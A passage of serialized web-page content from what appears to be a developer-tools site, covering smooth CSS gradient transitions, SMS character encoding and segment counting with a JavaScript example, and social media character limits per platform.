",[1560,188883,10078],{"class":1576},[1560,188885,18727],{"class":1669},[1560,188887,18730],{"class":1576},[1560,188889,20096],{"class":1576},[1560,188891,2228],{"class":1570},[1560,188893,188894],{"class":1562,"line":2529},[1560,188895,1585],{"class":1570},[16,188897,188898,188899,188901],{},"This creates a continuously shifting gradient effect. Use ",[143,188900,76327],{}," to disable it for users who request reduced motion:",[135,188903,188905],{"className":1554,"code":188904,"language":1556,"meta":141,"style":141},"@media (prefers-reduced-motion: reduce) {\n  .flow-gradient {\n    animation: none;\n  }\n}\n",[143,188906,188907,188913,188920,188930,188934],{"__ignoreMap":141},[1560,188908,188909,188911],{"class":1562,"line":1563},[1560,188910,17186],{"class":1669},[1560,188912,45321],{"class":1570},[1560,188914,188915,188918],{"class":1562,"line":337},[1560,188916,188917],{"class":1566},"  .flow-gradient",[1560,188919,1571],{"class":1570},[1560,188921,188922,188924,188926,188928],{"class":1562,"line":343},[1560,188923,76354],{"class":1576},[1560,188925,1663],{"class":1570},[1560,188927,24609],{"class":1576},[1560,188929,2228],{"class":1570},[1560,188931,188932],{"class":1562,"line":365},[1560,188933,4959],{"class":1570},[1560,188935,188936],{"class":1562,"line":889},[1560,188937,1585],{"class":1570},[11,188939,8286],{"id":8285},[193,188941,188942,188956],{},[196,188943,188944],{},[199,188945,188946,188948,188951,188954],{},[202,188947,52178],{},[202,188949,188950],{},"GPU-friendly",[202,188952,188953],{},"Paint cost",[202,188955,489],{},[211,188957,188958,188971,188984,188997],{},[199,188959,188960,188963,188966,188968],{},[216,188961,188962],{},"Opacity cross-fade",[216,188964,188965],{},"Yes — compositor layer",[216,188967,15466],{},[216,188969,188970],{},"Hover effects",[199,188972,188973,188976,188979,188981],{},[216,188974,188975],{},"Background-position shift",[216,188977,188978],{},"Partial — repaints",[216,188980,7639],{},[216,188982,188983],{},"Subtle shifts",[199,188985,188986,188989,188992,188994],{},[216,188987,188988],{},"@property animation",[216,188990,188991],{},"Yes — interpolates values",[216,188993,15466],{},[216,188995,188996],{},"Precise transitions",[199,188998,188999,189002,189005,189007],{},[216,189000,189001],{},"Continuous animation",[216,189003,189004],{},"No — constant repaint",[216,189006,15446],{},[216,189008,189009],{},"Loading states only",[16,189011,189012,8037],{},[47,189013,189014],{},"Rules of thumb",[41,189016,189017,189020,189023,189029],{},[44,189018,189019],{},"Use opacity transitions wherever possible — they're cheapest",[44,189021,189022],{},"Limit continuous gradient animations to loading indicators and small areas",[44,189024,189025,189026,189028],{},"Always wrap continuous animations in ",[143,189027,76327],{}," checks",[44,189030,189031],{},"Avoid animating gradients on elements that scroll — the combined repaint cost is noticeable",[11,189033,1355],{"id":1354},[41,189035,189036,189039,189042,189045,189050,189055],{},[44,189037,189038],{},"CSS gradients don't transition natively — use workaround patterns",[44,189040,189041],{},"Opacity cross-fade is the simplest and most performant approach",[44,189043,189044],{},"Background-position shift works well for linear gradient color changes",[44,189046,189047,189049],{},[143,189048,56109],{}," enables true gradient interpolation in modern browsers",[44,189051,189052,189053],{},"Continuous gradient animations should respect ",[143,189054,76327],{},[44,189056,189057],{},"Prefer opacity-based transitions for best GPU performance",[11,189059,321],{"id":320},[41,189061,189062,189066,189070],{},[44,189063,189064],{},[98,189065,56827],{"href":56826},[44,189067,189068],{},[98,189069,56834],{"href":56833},[44,189071,189072],{},[98,189073,189074],{"href":73921},"CSS Radial Gradients Tutorial",[11,189076,286],{"id":285},[16,189078,189079,189080,189082],{},"Experiment with gradient transitions interactively using our ",[98,189081,18583],{"href":18582},". Build your gradients, test hover states, and copy the code directly.",[2043,189084,189085],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":189087},[189088,189089,189090,189091,189092,189093,189094,189095,189096],{"id":188052,"depth":337,"text":188053},{"id":188066,"depth":337,"text":188067},{"id":188319,"depth":337,"text":188320},{"id":188475,"depth":337,"text":188476},{"id":188729,"depth":337,"text":188730},{"id":8285,"depth":337,"text":8286},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn techniques for smooth gradient transitions in CSS — hover effects, animated gradients, and workaround patterns for gradient animation limits.",{"immutable":363},"\u002Fguides\u002Fsmooth-gradient-transitions",{"title":188047,"description":189097},"guides\u002Fsmooth-gradient-transitions","GHNpSTHjPNIbK8SZO0cCxLI0PRMp5mDtpe26n_m82eM",{"id":189104,"title":189105,"body":189106,"date":2070,"description":189770,"extension":361,"meta":189771,"navigation":363,"path":189772,"readingTime":1717,"seo":189773,"stem":189774,"__hash__":189775},"guides\u002Fguides\u002Fsms-character-counting-encoding.md","SMS Character Counting and Encoding: Why 160 Is Not Always 160",{"type":8,"value":189107,"toc":189760},[189108,189111,189115,189122,189128,189131,189175,189182,189186,189193,189199,189202,189213,189217,189224,189262,189265,189268,189271,189537,189541,189544,189632,189641,189645,189695,189697,189734,189736,189750,189752,189758],[16,189109,189110],{},"The 160-character SMS limit is one of the most misunderstood constraints in tech. In practice, your message might allow only 70 characters — or it might silently split into multiple segments that cost extra. The difference comes down to character encoding.",[11,189112,189114],{"id":189113},"the-gsm-7-alphabet","The GSM-7 Alphabet",[16,189116,189117,189118,189121],{},"The original SMS standard uses the ",[47,189119,189120],{},"GSM 7-bit alphabet"," (GSM-7), which encodes 128 characters in 7 bits each. Because SMS messages travel in 140-byte packets, a 7-bit encoding fits:",[135,189123,189126],{"className":189124,"code":189125,"language":140},[138],"140 bytes × 8 bits\u002Fbyte = 1120 bits\n1120 bits ÷ 7 bits\u002Fchar = 160 characters\n",[143,189127,189125],{"__ignoreMap":141},[16,189129,189130],{},"GSM-7 covers uppercase and lowercase Latin letters, digits, and common punctuation. However, it is not ASCII — some characters differ:",[41,189132,189133,189142,189148,189156,189163],{},[44,189134,189135,189136,189138,189139,189141],{},"Tilde ",[143,189137,6845],{}," is not in GSM-7 (use ",[143,189140,11503],{}," in escape sequences)",[44,189143,189144,189145,189147],{},"Backtick ",[143,189146,8219],{}," is absent",[44,189149,189150,189151,6841,189153,189155],{},"Curly braces ",[143,189152,51622],{},[143,189154,8230],{}," are absent",[44,189157,189158,189159,6841,189161,189155],{},"Square brackets ",[143,189160,24385],{},[143,189162,131065],{},[44,189164,189165,189166,189168,189169,189171,189172,189174],{},"The caret ",[143,189167,38799],{},", pipe ",[143,189170,7334],{},", and backslash ",[143,189173,34605],{}," require two-character escape sequences",[16,189176,189177,189178,189181],{},"When you use any of these escape characters, they consume 14 bits instead of 7 — effectively counting as ",[47,189179,189180],{},"two characters"," in your SMS length.",[11,189183,189185],{"id":189184},"when-ucs-2-takes-over","When UCS-2 Takes Over",[16,189187,189188,189189,189192],{},"If your message contains even a single character outside GSM-7 — an emoji, a Chinese character, a Cyrillic letter — the entire message switches to ",[47,189190,189191],{},"UCS-2 encoding"," (16 bits per character). UCS-2 uses the same 140-byte packet, but fits fewer characters:",[135,189194,189197],{"className":189195,"code":189196,"language":140},[138],"140 bytes × 8 bits\u002Fbyte = 1120 bits\n1120 bits ÷ 16 bits\u002Fchar = 70 characters\n",[143,189198,189196],{"__ignoreMap":141},[16,189200,189201],{},"One emoji drops your limit from 160 to 70 characters. This is the most common reason messages split unexpectedly.",[16,189203,189204,189205,189208,189209,189212],{},"Modern SMS gateways use ",[47,189206,189207],{},"UTF-16"," instead of UCS-2, which handles surrogate pairs for characters outside the Basic Multilingual Plane (emoji like 🎉, 🏳️‍🌈). Characters requiring surrogate pairs consume 32 bits (4 bytes) — counting as ",[47,189210,189211],{},"two UCS-2 characters"," each.",[11,189214,189216],{"id":189215},"message-segmentation","Message Segmentation",[16,189218,189219,189220,189223],{},"When your message exceeds the single-message character limit, it is split into segments. Each segment includes a ",[47,189221,189222],{},"User Data Header (UDH)"," — 6 bytes of metadata for reassembly — reducing the available space per segment:",[193,189225,189226,189238],{},[196,189227,189228],{},[199,189229,189230,189232,189235],{},[202,189231,84410],{},[202,189233,189234],{},"Single Message",[202,189236,189237],{},"Per Segment (concatenated)",[211,189239,189240,189251],{},[199,189241,189242,189245,189248],{},[216,189243,189244],{},"GSM-7",[216,189246,189247],{},"160 chars",[216,189249,189250],{},"153 chars",[199,189252,189253,189256,189259],{},[216,189254,189255],{},"UCS-2",[216,189257,189258],{},"70 chars",[216,189260,189261],{},"67 chars",[16,189263,189264],{},"A 200-character GSM-7 message splits into two segments: 153 + 47 characters. You pay for two messages.",[16,189266,189267],{},"A 75-character UCS-2 message also splits into two segments: 67 + 8 characters. You pay for two messages.",[16,189269,189270],{},"Segment limit calculation:",[135,189272,189274],{"className":1607,"code":189273,"language":1609,"meta":141,"style":141},"function calculateSegments(text) {\n  const isGSM7 = \u002F^[\\x00-\\x7F\\u00A0\\u00A3\\u00A5\\u00A7\\u00C0-\\u00FF]*$\u002F.test(text)\n  \u002F\u002F Simplified — real GSM-7 detection requires checking the full alphabet\n\n  if (isGSM7) {\n    const singleLimit = 160\n    const segmentLimit = 153\n    return text.length \u003C= singleLimit ? 1 : Math.ceil(text.length \u002F segmentLimit)\n  } else {\n    const singleLimit = 70\n    const segmentLimit = 67\n    \u002F\u002F Account for surrogate pairs (emoji = 2 UCS-2 chars)\n    const ucs2Length = [...text].reduce((count, char) => {\n      return count + (char.codePointAt(0) > 0xFFFF ? 2 : 1)\n    }, 0)\n    return ucs2Length \u003C= singleLimit ? 1 : Math.ceil(ucs2Length \u002F segmentLimit)\n  }\n}\n",[143,189275,189276,189289,189317,189322,189326,189333,189345,189357,189390,189398,189409,189420,189425,189457,189492,189501,189529,189533],{"__ignoreMap":141},[1560,189277,189278,189280,189283,189285,189287],{"class":1562,"line":1563},[1560,189279,8648],{"class":1669},[1560,189281,189282],{"class":1566}," calculateSegments",[1560,189284,1688],{"class":1570},[1560,189286,140],{"class":2219},[1560,189288,9345],{"class":1570},[1560,189290,189291,189293,189296,189298,189300,189302,189305,189308,189310,189312,189314],{"class":1562,"line":337},[1560,189292,28057],{"class":1669},[1560,189294,189295],{"class":1576}," isGSM7",[1560,189297,8186],{"class":1669},[1560,189299,11912],{"class":5634},[1560,189301,38799],{"class":1669},[1560,189303,189304],{"class":1576},"[\\x00-\\x7F\\u00A0\\u00A3\\u00A5\\u00A7\\u00C0-\\u00FF]",[1560,189306,189307],{"class":1669},"*$",[1560,189309,9423],{"class":5634},[1560,189311,468],{"class":1570},[1560,189313,98998],{"class":1566},[1560,189315,189316],{"class":1570},"(text)\n",[1560,189318,189319],{"class":1562,"line":343},[1560,189320,189321],{"class":1649},"  \u002F\u002F Simplified — real GSM-7 detection requires checking the full alphabet\n",[1560,189323,189324],{"class":1562,"line":365},[1560,189325,1702],{"emptyLinePlaceholder":363},[1560,189327,189328,189330],{"class":1562,"line":889},[1560,189329,27984],{"class":1669},[1560,189331,189332],{"class":1570}," (isGSM7) {\n",[1560,189334,189335,189337,189340,189342],{"class":1562,"line":1710},[1560,189336,9385],{"class":1669},[1560,189338,189339],{"class":1576}," singleLimit",[1560,189341,8186],{"class":1669},[1560,189343,189344],{"class":1576}," 160\n",[1560,189346,189347,189349,189352,189354],{"class":1562,"line":1717},[1560,189348,9385],{"class":1669},[1560,189350,189351],{"class":1576}," segmentLimit",[1560,189353,8186],{"class":1669},[1560,189355,189356],{"class":1576}," 153\n",[1560,189358,189359,189361,189363,189365,189367,189370,189372,189374,189376,189378,189380,189383,189385,189387],{"class":1562,"line":1747},[1560,189360,9434],{"class":1669},[1560,189362,22718],{"class":1570},[1560,189364,9418],{"class":1576},[1560,189366,183308],{"class":1669},[1560,189368,189369],{"class":1570}," singleLimit ",[1560,189371,33994],{"class":1669},[1560,189373,18868],{"class":1576},[1560,189375,22769],{"class":1669},[1560,189377,9393],{"class":1570},[1560,189379,111068],{"class":1566},[1560,189381,189382],{"class":1570},"(text.",[1560,189384,9418],{"class":1576},[1560,189386,11912],{"class":1669},[1560,189388,189389],{"class":1570}," segmentLimit)\n",[1560,189391,189392,189394,189396],{"class":1562,"line":2507},[1560,189393,102284],{"class":1570},[1560,189395,82068],{"class":1669},[1560,189397,1571],{"class":1570},[1560,189399,189400,189402,189404,189406],{"class":1562,"line":2524},[1560,189401,9385],{"class":1669},[1560,189403,189339],{"class":1576},[1560,189405,8186],{"class":1669},[1560,189407,189408],{"class":1576}," 70\n",[1560,189410,189411,189413,189415,189417],{"class":1562,"line":2529},[1560,189412,9385],{"class":1669},[1560,189414,189351],{"class":1576},[1560,189416,8186],{"class":1669},[1560,189418,189419],{"class":1576}," 67\n",[1560,189421,189422],{"class":1562,"line":2534},[1560,189423,189424],{"class":1649},"    \u002F\u002F Account for surrogate pairs (emoji = 2 UCS-2 chars)\n",[1560,189426,189427,189429,189432,189434,189436,189438,189441,189443,189445,189447,189449,189451,189453,189455],{"class":1562,"line":2542},[1560,189428,9385],{"class":1669},[1560,189430,189431],{"class":1576}," ucs2Length",[1560,189433,8186],{"class":1669},[1560,189435,39830],{"class":1570},[1560,189437,24388],{"class":1669},[1560,189439,189440],{"class":1570},"text].",[1560,189442,164234],{"class":1566},[1560,189444,11495],{"class":1570},[1560,189446,110866],{"class":2219},[1560,189448,1459],{"class":1570},[1560,189450,22738],{"class":2219},[1560,189452,1733],{"class":1570},[1560,189454,11503],{"class":1669},[1560,189456,1571],{"class":1570},[1560,189458,189459,189461,189463,189465,189468,189471,189473,189475,189477,189479,189482,189484,189486,189488,189490],{"class":1562,"line":2558},[1560,189460,28249],{"class":1669},[1560,189462,88994],{"class":1570},[1560,189464,9448],{"class":1669},[1560,189466,189467],{"class":1570}," (char.",[1560,189469,189470],{"class":1566},"codePointAt",[1560,189472,1688],{"class":1570},[1560,189474,5285],{"class":1576},[1560,189476,1733],{"class":1570},[1560,189478,28226],{"class":1669},[1560,189480,189481],{"class":1576}," 0xFFFF",[1560,189483,22763],{"class":1669},[1560,189485,9426],{"class":1576},[1560,189487,22769],{"class":1669},[1560,189489,18868],{"class":1576},[1560,189491,8252],{"class":1570},[1560,189493,189494,189497,189499],{"class":1562,"line":2570},[1560,189495,189496],{"class":1570},"    }, ",[1560,189498,5285],{"class":1576},[1560,189500,8252],{"class":1570},[1560,189502,189503,189505,189508,189510,189512,189514,189516,189518,189520,189522,189525,189527],{"class":1562,"line":6638},[1560,189504,9434],{"class":1669},[1560,189506,189507],{"class":1570}," ucs2Length ",[1560,189509,22757],{"class":1669},[1560,189511,189369],{"class":1570},[1560,189513,33994],{"class":1669},[1560,189515,18868],{"class":1576},[1560,189517,22769],{"class":1669},[1560,189519,9393],{"class":1570},[1560,189521,111068],{"class":1566},[1560,189523,189524],{"class":1570},"(ucs2Length ",[1560,189526,9423],{"class":1669},[1560,189528,189389],{"class":1570},[1560,189530,189531],{"class":1562,"line":11615},[1560,189532,4959],{"class":1570},[1560,189534,189535],{"class":1562,"line":11621},[1560,189536,1585],{"class":1570},[11,189538,189540],{"id":189539},"hidden-cost-traps","Hidden Cost Traps",[16,189542,189543],{},"Several characters silently inflate your message size:",[193,189545,189546,189557],{},[196,189547,189548],{},[199,189549,189550,189552,189555],{},[202,189551,7809],{},[202,189553,189554],{},"GSM-7 Cost",[202,189556,2683],{},[211,189558,189559,189569,189594,189605,189617],{},[199,189560,189561,189564,189567],{},[216,189562,189563],{},"Basic letter (A–Z)",[216,189565,189566],{},"1 char",[216,189568,15887],{},[199,189570,189571,189588,189591],{},[216,189572,189573,6841,189575,6841,189577,6841,189579,6841,189581,6841,189583,6841,189585],{},[143,189574,24385],{},[143,189576,131065],{},[143,189578,51622],{},[143,189580,8230],{},[143,189582,6845],{},[143,189584,7334],{},[143,189586,189587],{},"\\^",[216,189589,189590],{},"2 chars",[216,189592,189593],{},"Escape sequences",[199,189595,189596,189599,189602],{},[216,189597,189598],{},"Any emoji",[216,189600,189601],{},"Switches to UCS-2",[216,189603,189604],{},"Entire message affected",[199,189606,189607,189612,189614],{},[216,189608,189609,189610,1525],{},"Line break (",[143,189611,8222],{},[216,189613,189566],{},[216,189615,189616],{},"Counts normally in GSM-7",[199,189618,189619,189624,189626],{},[216,189620,189621,189622,1525],{},"Carriage return (",[143,189623,128815],{},[216,189625,189566],{},[216,189627,189628,189629,189631],{},"Often paired with ",[143,189630,8222],{}," (2 chars)",[16,189633,189634,189635,189637,189638,189640],{},"Smart quotes (",[143,189636,81548],{},") and em dashes (",[143,189639,3060],{},") also force UCS-2 encoding — they are not in the GSM-7 alphabet. If you copy-paste text from Word or Google Docs, check for these characters.",[11,189642,189644],{"id":189643},"practical-tips-for-sms-content","Practical Tips for SMS Content",[41,189646,189647,189653,189671,189677,189683,189689],{},[44,189648,189649,189652],{},[47,189650,189651],{},"Stick to GSM-7"," when possible — use straight quotes, basic punctuation, and no emoji",[44,189654,189655,189658,189659,5255,189661,1459,189663,5255,189665,1466,189667,5255,189669],{},[47,189656,189657],{},"Replace smart characters"," — convert ",[143,189660,81548],{},[143,189662,81548],{},[143,189664,3060],{},[143,189666,121568],{},[143,189668,117892],{},[143,189670,24388],{},[44,189672,189673,189676],{},[47,189674,189675],{},"Count before sending"," — use a character counter that accounts for encoding switches",[44,189678,189679,189682],{},[47,189680,189681],{},"Shorten URLs"," — use a link shortener to save characters (a typical URL consumes 30–80 characters)",[44,189684,189685,189688],{},[47,189686,189687],{},"Avoid emoji in transactional SMS"," — they force UCS-2 and often render inconsistently across devices",[44,189690,189691,189694],{},[47,189692,189693],{},"Test with your gateway"," — Twilio, MessageBird, and AWS SNS may handle encoding slightly differently",[11,189696,1355],{"id":1354},[41,189698,189699,189702,189705,189708,189728,189731],{},[44,189700,189701],{},"GSM-7 encoding allows 160 characters per SMS; UCS-2 allows only 70",[44,189703,189704],{},"A single emoji or special character forces the entire message into UCS-2",[44,189706,189707],{},"Concatenated messages reserve 6 bytes for the UDH, reducing GSM-7 to 153 and UCS-2 to 67 characters per segment",[44,189709,189710,189711,1459,189713,1459,189715,1459,189717,1459,189719,1459,189721,1459,189723,1459,189725,189727],{},"Escape characters in GSM-7 (",[143,189712,24385],{},[143,189714,131065],{},[143,189716,51622],{},[143,189718,8230],{},[143,189720,6845],{},[143,189722,38799],{},[143,189724,7334],{},[143,189726,34605],{},") count as two characters each",[44,189729,189730],{},"Smart quotes and em dashes from word processors silently switch encoding — sanitize input before sending",[44,189732,189733],{},"Use a character counter that detects encoding to avoid unexpected message splits and costs",[11,189735,321],{"id":320},[41,189737,189738,189742,189746],{},[44,189739,189740],{},[98,189741,184238],{"href":24515},[44,189743,189744],{},[98,189745,184243],{"href":24458},[44,189747,189748],{},[98,189749,184248],{"href":24464},[11,189751,286],{"id":285},[16,189753,189754,189755,189757],{},"Count your SMS characters accurately with our free ",[98,189756,184256],{"href":24487},". Paste your message, see the GSM-7 vs UCS-2 encoding, segment count, and remaining characters — all in real time.",[2043,189759,100852],{},{"title":141,"searchDepth":337,"depth":337,"links":189761},[189762,189763,189764,189765,189766,189767,189768,189769],{"id":189113,"depth":337,"text":189114},{"id":189184,"depth":337,"text":189185},{"id":189215,"depth":337,"text":189216},{"id":189539,"depth":337,"text":189540},{"id":189643,"depth":337,"text":189644},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Understand how SMS encoding works — GSM-7 vs UCS-2, segmentation, and why emoji and special characters split your messages and increase costs.",{"immutable":363},"\u002Fguides\u002Fsms-character-counting-encoding",{"title":189105,"description":189770},"guides\u002Fsms-character-counting-encoding","acKzd5y2lB0P05t-ICeES2ZoGuGT3xt1b32CFPzbwCU",{"id":189777,"title":189778,"body":189779,"date":2070,"description":190356,"extension":361,"meta":190357,"navigation":363,"path":183680,"readingTime":1710,"seo":190358,"stem":190359,"__hash__":190360},"guides\u002Fguides\u002Fsocial-media-character-limits.md","Character Limits for Every Social Media Platform in 2026",{"type":8,"value":189780,"toc":190336},[189781,189785,189788,189792,189796,189851,189854,189857,189910,189913,189916,189980,189983,189986,190040,190043,190047,190090,190093,190096,190147,190150,190152,190238,190242,190246,190249,190264,190268,190271,190275,190292,190296,190299,190301,190321,190323,190329,190334],[11,189782,189784],{"id":189783},"know-the-limits-before-you-publish","Know the Limits Before You Publish",[16,189786,189787],{},"Every social media platform enforces character limits on posts, bios, captions, and other text fields. Exceeding these limits means truncated content, failed posts, or wasted editing time. This reference covers the current limits for every major platform so you can write right-sized content from the start.",[11,189789,189791],{"id":189790},"platform-character-limits","Platform Character Limits",[33,189793,189795],{"id":189794},"twitter-x","Twitter \u002F X",[193,189797,189798,189806],{},[196,189799,189800],{},[199,189801,189802,189804],{},[202,189803,14305],{},[202,189805,23893],{},[211,189807,189808,189815,189823,189831,189837,189843],{},[199,189809,189810,189813],{},[216,189811,189812],{},"Tweet (free accounts)",[216,189814,23906],{},[199,189816,189817,189820],{},[216,189818,189819],{},"Tweet (X Premium)",[216,189821,189822],{},"25,000",[199,189824,189825,189828],{},[216,189826,189827],{},"Reply",[216,189829,189830],{},"Same as tweet",[199,189832,189833,189835],{},[216,189834,23933],{},[216,189836,18301],{},[199,189838,189839,189841],{},[216,189840,23913],{},[216,189842,18059],{},[199,189844,189845,189848],{},[216,189846,189847],{},"DM",[216,189849,189850],{},"10,000",[16,189852,189853],{},"Twitter counts characters, not bytes. Emojis generally count as 2 characters each due to Unicode surrogate pairs. URLs are automatically shortened to 23 characters regardless of original length.",[33,189855,23920],{"id":189856},"instagram",[193,189858,189859,189867],{},[196,189860,189861],{},[199,189862,189863,189865],{},[202,189864,14305],{},[202,189866,23893],{},[211,189868,189869,189875,189881,189888,189896,189903],{},[199,189870,189871,189873],{},[216,189872,23923],{},[216,189874,23926],{},[199,189876,189877,189879],{},[216,189878,23933],{},[216,189880,23936],{},[199,189882,189883,189886],{},[216,189884,189885],{},"Username",[216,189887,23995],{},[199,189889,189890,189893],{},[216,189891,189892],{},"Hashtag",[216,189894,189895],{},"30 (per tag, including #)",[199,189897,189898,189900],{},[216,189899,189847],{},[216,189901,189902],{},"1,000",[199,189904,189905,189908],{},[216,189906,189907],{},"IGTV description",[216,189909,23926],{},[16,189911,189912],{},"Instagram captions truncate in the feed after approximately 125 characters with a \"more\" link. Put your hook in those first two lines.",[33,189914,23941],{"id":189915},"linkedin",[193,189917,189918,189926],{},[196,189919,189920],{},[199,189921,189922,189924],{},[202,189923,14305],{},[202,189925,23893],{},[211,189927,189928,189934,189942,189949,189957,189965,189972],{},[199,189929,189930,189932],{},[216,189931,23944],{},[216,189933,23947],{},[199,189935,189936,189939],{},[216,189937,189938],{},"Article body",[216,189940,189941],{},"120,000",[199,189943,189944,189947],{},[216,189945,189946],{},"Article headline",[216,189948,23936],{},[199,189950,189951,189954],{},[216,189952,189953],{},"About section",[216,189955,189956],{},"2,600",[199,189958,189959,189962],{},[216,189960,189961],{},"Post comment",[216,189963,189964],{},"1,250",[199,189966,189967,189970],{},[216,189968,189969],{},"Connection note",[216,189971,44009],{},[199,189973,189974,189977],{},[216,189975,189976],{},"Company page about",[216,189978,189979],{},"2,000",[16,189981,189982],{},"LinkedIn posts over 150 characters get a \"see more\" truncation in the feed. The first 150 characters are critical for engagement.",[33,189984,23962],{"id":189985},"facebook",[193,189987,189988,189996],{},[196,189989,189990],{},[199,189991,189992,189994],{},[202,189993,14305],{},[202,189995,23893],{},[211,189997,189998,190004,190012,190020,190026,190033],{},[199,189999,190000,190002],{},[216,190001,23944],{},[216,190003,23967],{},[199,190005,190006,190009],{},[216,190007,190008],{},"Post (optimal for engagement)",[216,190010,190011],{},"40-80",[199,190013,190014,190017],{},[216,190015,190016],{},"Comment",[216,190018,190019],{},"8,000",[199,190021,190022,190024],{},[216,190023,23933],{},[216,190025,41973],{},[199,190027,190028,190031],{},[216,190029,190030],{},"Page description",[216,190032,5400],{},[199,190034,190035,190038],{},[216,190036,190037],{},"Group description",[216,190039,23947],{},[16,190041,190042],{},"Facebook allows very long posts, but engagement data consistently shows that shorter posts (under 80 characters) perform better. The platform truncates posts after approximately 130–150 characters with a \"see more\" prompt.",[33,190044,190046],{"id":190045},"tiktok","TikTok",[193,190048,190049,190057],{},[196,190050,190051],{},[199,190052,190053,190055],{},[202,190054,14305],{},[202,190056,23893],{},[211,190058,190059,190065,190071,190077,190083],{},[199,190060,190061,190063],{},[216,190062,23923],{},[216,190064,23926],{},[199,190066,190067,190069],{},[216,190068,23933],{},[216,190070,5321],{},[199,190072,190073,190075],{},[216,190074,189885],{},[216,190076,61489],{},[199,190078,190079,190081],{},[216,190080,190016],{},[216,190082,23936],{},[199,190084,190085,190087],{},[216,190086,189847],{},[216,190088,190089],{},"4,096",[16,190091,190092],{},"TikTok captions display only the first 100–150 characters before the \"more\" button. Front-load your hashtags and key message.",[33,190094,23972],{"id":190095},"youtube",[193,190097,190098,190106],{},[196,190099,190100],{},[199,190101,190102,190104],{},[202,190103,14305],{},[202,190105,23893],{},[211,190107,190108,190114,190120,190127,190133,190140],{},[199,190109,190110,190112],{},[216,190111,23975],{},[216,190113,18114],{},[199,190115,190116,190118],{},[216,190117,207],{},[216,190119,23986],{},[199,190121,190122,190125],{},[216,190123,190124],{},"Channel description",[216,190126,189902],{},[199,190128,190129,190131],{},[216,190130,190016],{},[216,190132,189850],{},[199,190134,190135,190138],{},[216,190136,190137],{},"Playlist title",[216,190139,18333],{},[199,190141,190142,190145],{},[216,190143,190144],{},"Playlist description",[216,190146,18101],{},[16,190148,190149],{},"YouTube truncates titles in search results after roughly 60 characters and descriptions after approximately 157 characters. Only the first three lines of a description are visible without clicking \"show more.\"",[11,190151,88351],{"id":88350},[193,190153,190154,190169],{},[196,190155,190156],{},[199,190157,190158,190160,190163,190166],{},[202,190159,23888],{},[202,190161,190162],{},"Post Limit",[202,190164,190165],{},"Bio Limit",[202,190167,190168],{},"Feed Truncation",[211,190170,190171,190182,190193,190204,190215,190226],{},[199,190172,190173,190176,190178,190180],{},[216,190174,190175],{},"X (free)",[216,190177,23906],{},[216,190179,18301],{},[216,190181,55046],{},[199,190183,190184,190186,190188,190190],{},[216,190185,23920],{},[216,190187,23926],{},[216,190189,23936],{},[216,190191,190192],{},"~125 chars",[199,190194,190195,190197,190199,190201],{},[216,190196,23941],{},[216,190198,23947],{},[216,190200,189956],{},[216,190202,190203],{},"~150 chars",[199,190205,190206,190208,190210,190212],{},[216,190207,23962],{},[216,190209,23967],{},[216,190211,41973],{},[216,190213,190214],{},"~130 chars",[199,190216,190217,190219,190221,190223],{},[216,190218,190046],{},[216,190220,23926],{},[216,190222,5321],{},[216,190224,190225],{},"~120 chars",[199,190227,190228,190230,190233,190235],{},[216,190229,23972],{},[216,190231,190232],{},"100 (title)",[216,190234,189902],{},[216,190236,190237],{},"~60 title",[11,190239,190241],{"id":190240},"writing-strategies-for-character-limits","Writing Strategies for Character Limits",[33,190243,190245],{"id":190244},"front-load-important-content","Front-Load Important Content",[16,190247,190248],{},"Since every platform truncates in the feed, write your key message first:",[135,190250,190252],{"className":34628,"code":190251,"language":34630,"meta":141,"style":141},"❌ Hey everyone! So excited to share that we're launching a new feature today...\n✅ NEW: AI-powered text analysis just launched. Try it free → link\n",[143,190253,190254,190259],{"__ignoreMap":141},[1560,190255,190256],{"class":1562,"line":1563},[1560,190257,190258],{},"❌ Hey everyone! So excited to share that we're launching a new feature today...\n",[1560,190260,190261],{"class":1562,"line":337},[1560,190262,190263],{},"✅ NEW: AI-powered text analysis just launched. Try it free → link\n",[33,190265,190267],{"id":190266},"count-characters-not-words","Count Characters, Not Words",[16,190269,190270],{},"Character limits refer to characters, including spaces and punctuation. A 280-character tweet averages 40-50 words depending on word length.",[33,190272,190274],{"id":190273},"watch-for-hidden-characters","Watch for Hidden Characters",[41,190276,190277,190280,190283,190286],{},[44,190278,190279],{},"Emojis: 1-4 characters depending on the emoji and modifiers",[44,190281,190282],{},"Line breaks: 1 character each",[44,190284,190285],{},"URLs: 23 characters on X (auto-shortened), full length on other platforms",[44,190287,190288,190289,190291],{},"Hashtags: count the ",[143,190290,6852],{}," symbol",[33,190293,190295],{"id":190294},"use-a-counter-tool","Use a Counter Tool",[16,190297,190298],{},"Before publishing, verify your text against the platform limit. This is especially important for multi-platform campaigns where the same copy appears on different 